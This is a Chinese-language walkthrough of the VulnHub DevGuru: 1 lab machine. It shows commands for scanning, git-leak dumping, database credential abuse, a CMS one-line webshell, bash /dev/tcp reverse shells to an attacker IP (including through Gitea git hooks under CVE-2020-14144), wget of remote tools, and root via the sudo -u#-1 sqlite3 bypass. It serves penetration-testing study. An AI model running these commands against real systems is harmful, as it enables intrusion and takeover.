VulnHub靶场笔记 - DevGuru: 1(OSCP推荐靶场)

注意:本文介绍的所有渗透测试方法,仅供学习,请勿用于非法用途

0-靶机介绍

靶机地址:DevGuru: 1 ~ VulnHub

VulnHub对该靶机的介绍为:

DevGuru 是一家虚构的 Web 开发公司,雇用您进行渗透测试评估。 您的任务是查找其公司网站上的漏洞并获取 root 权限。

OSCP 类似 ~ 基于现实生活

难度:中级(取决于经验)

1-信息收集

靶机信息探测

# 启动靶机后,会在登陆界面显示IP地址
export IP=192.168.220.136
nmap -sC -A -p$(nmap -p- --min-rate 1000 -T4 $IP -oN nmap.txt --append-out | grep '/tcp' | awk -F '/' '{print $1}' | tr '\n' ',') $IP -oN nmap.txt --append-out

得到如下信息

网页目录扫描

# 需要先使用apt或apt-get安装该工具
feroxbuster -u http://192.168.220.136/ -o feroxbuster.log

 结果如下,可以发现 http://192.168.220.136/backend/backend/auth 是一个后台登录界面

git泄露利用

# 需要先从GitHub下载dumpall工具
~/CTFtools/web/dumpall/dumpall.py
>http://192.168.220.136:80/.git/

在生产的结果目录 192.168.220.136_80 下发现一个adminer.php

那么直接访问页面:http://192.168.220.136/adminer.php,是一个MySQL管理后台

在扫描结果的config目录下,可以发现一些敏感信息

cd 192.168.220.136_80/config
cat database.php

其中有 MySQL数据库 的账号密码,我们将其在 Kali 中更新至 cerd.list

vim cerd.list
october:SQ66EBYx4GT3byXH:octoberdb

然后,登录MySQL后台

在数据库的 backend_users 表中,可以找到一个 frank 用户,推测应该是 http://192.168.220.136 网站后台的管理员账号

我们将 passwd 字段内容在kali中保存至hash.txt

vim hash.txt
$2y$10$bp5wBfbAN6lMYT27pJMomOGutDF2RKZKYZITAupZ3x8eAaYgN6EKK

 然后使用John对frank用户的密码MD5值进行爆破

john hash.txt

等待很长时间,没有结果,但是知道了加密方式是 bcrypt

2-GetShell

数据库修改

我们利用 CyberChef 在线工具,通过 Bcrypt 加密方式设置一个密码 Admin@123,用于稍后改库

改库,修改 passwd 字段

使用修改之后的密码登录后台:http://192.168.220.136/backend/backend/auth/signin

OctoberCMS漏洞(未利用)

在后台发现这是一个OctoberCMS

查找相关漏洞

把两个都下载下来,查看是否可以利用(我太菜了没看懂怎么利用,后续补充)

页面文件修改执行

通过CMS后台编辑,在页面代码中写入一句话,保存后点击“Preview”,访问修改后的页面

在修改后的页面中加上参数0=id,成功执行命令

reverse shell

反弹shell,先开启监听

nc -lvvnp 2233

访问URL,实现反弹

# 注意reverse shell语句中的&要替换为URL编码%26
http://192.168.220.136/about?0=/bin/bash -c 'bash -i >%26 /dev/tcp/192.168.220.129/2233 0>%261'

成功getshell

3-user提权

基础提权

查看有无python

# 并没有结果
which python
# 但是有python3!
which python3

python3基础提权

python3 -c 'import pty;pty.spawn("/bin/bash")'
export TERM=xterm

自动化枚举(未利用)

Kali中开启服务

# 需要先自行前往GitHub下载linpeas工具
cd /home/kali/CTFtools/web/linpeas
sudo python3 -m http.server 80

靶机接收并执行

cd /tmp
wget http://192.168.220.129/linpeas.sh
chmod +x linpeas.sh
./linpeas.sh | tee linpeas.log

进程监视(未利用)

Kali中开启80端口进行传输

# 需要先自行前往GitHub下载pspy64工具
cd /home/kali/CTFtools/web/pspy64
sudo python3 -m http.server 80

靶机接收并执行

wget http://192.168.220.129/pspy64
chmod +x pspy64
./pspy64

配置文件翻看

在 /var/backups 目录下的 app.ini.bak 文件中,发现一处敏感信息

更新cerd.list

数据库修改

使用gitea账号登录MySQL后台:http://192.168.220.136/adminer.php

在user表中,可以看到frank用户的密码哈希值,且哈希加密方式为pbkdf2

尝试借助 cyberchef 在线工具,修改密码为:Admin@123

经过尝试可以发现,在不指定 Passphrase 和 Salt 的情况下,修改密码后并不正确

查看 app.ini.bak 文件中相关部分,可以发现实际上有三种哈希加密方式可选,分别是pbkdf2、scrypt以及bcrypt

那么我们把 passwd_hash_algo 字段的值修改为 bcrypt,并使用 cyberchef 在线工具修改 passwd 字段为Admin@123 的哈希值

成功登录Gitea后台

Gitea漏洞(CVE-2020-14144)利用

从页面中得知 Gitea 版本为1.12.5 ,我们借助 exploit-db 查找相关漏洞

searchsploit Gitea | grep 1.12.5

这是一个 RCE 脚本,我们查看具体内容,发现只要提供目标IP、gitea后台用户名及密码、接收反弹 shell 的机器IP及监听端口,即可利用

那么我们在 Kali 中开启一个监听端口

nc -lvvnp 2233

然后带上参数直接运行 POC 脚本

python3 49571.py -t http://192.168.220.136:8585/ -u frank -p Admin@123 -I 192.168.220.129 -P 2233
方法一:修改脚本

发现脚本无法正常执行,经查证后,需要对脚本略作修改,改动如下

 对脚本修改后应该可以正常使用(但我还没尝试,待后续补充)

方法二:原理利用

阅读 49571.py 脚本开头给出的PoC演示文章:Exploiting CVE-2020-14144 - GiTea Authenticated Remote Code Execution using git hooks · Podalirius

可以发现利用的原理就是在 Settings -> Git Hooks 中写入shell反弹语句

#!/bin/bash
bash -i >& /dev/tcp/192.168.220.129/2233 0>&1 &

按照演示文章,在Gitea后台进行语句写入

继续阅读演示文章,告诉我们需要向仓库提交一次代码,然后就可以 reverse shell,那么实际上,我们直接修改仓库中的代码,也差不多可以起到一样的效果

修改仓库中的代码

然后直接进行提交

成功 reverse shell

基础提权后拿到user的flag

4-root提权

查看能执行的sudo命令

sudo -l

发现一个sqlite3可以执行,但是权限是非root用户

同时,frank用户无法直接以root身份运行/bin/bash

sudo < v1.28 提权

在 HackTricks 上查阅相关信息:Linux Privilege Escalation - HackTricks

通过命令查看 sudo 版本信息

sudo -V

sudo版本为 1.8.21p2,存在被利用的可能

sqlite3利用

在 sqlite3 | GTFOBins 上查阅 sqlite3 相关信息

综合利用

综合以上信息,我们可以构造如下命令来获取root权限

sudo -u#-1 /usr/bin/sqlite3 /dev/null '.shell /bin/sh'

成功利用

在 /root 目录下得到flag

  • 24
    点赞
  • 17
    收藏
    觉得还不错? 一键收藏
  • 2
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值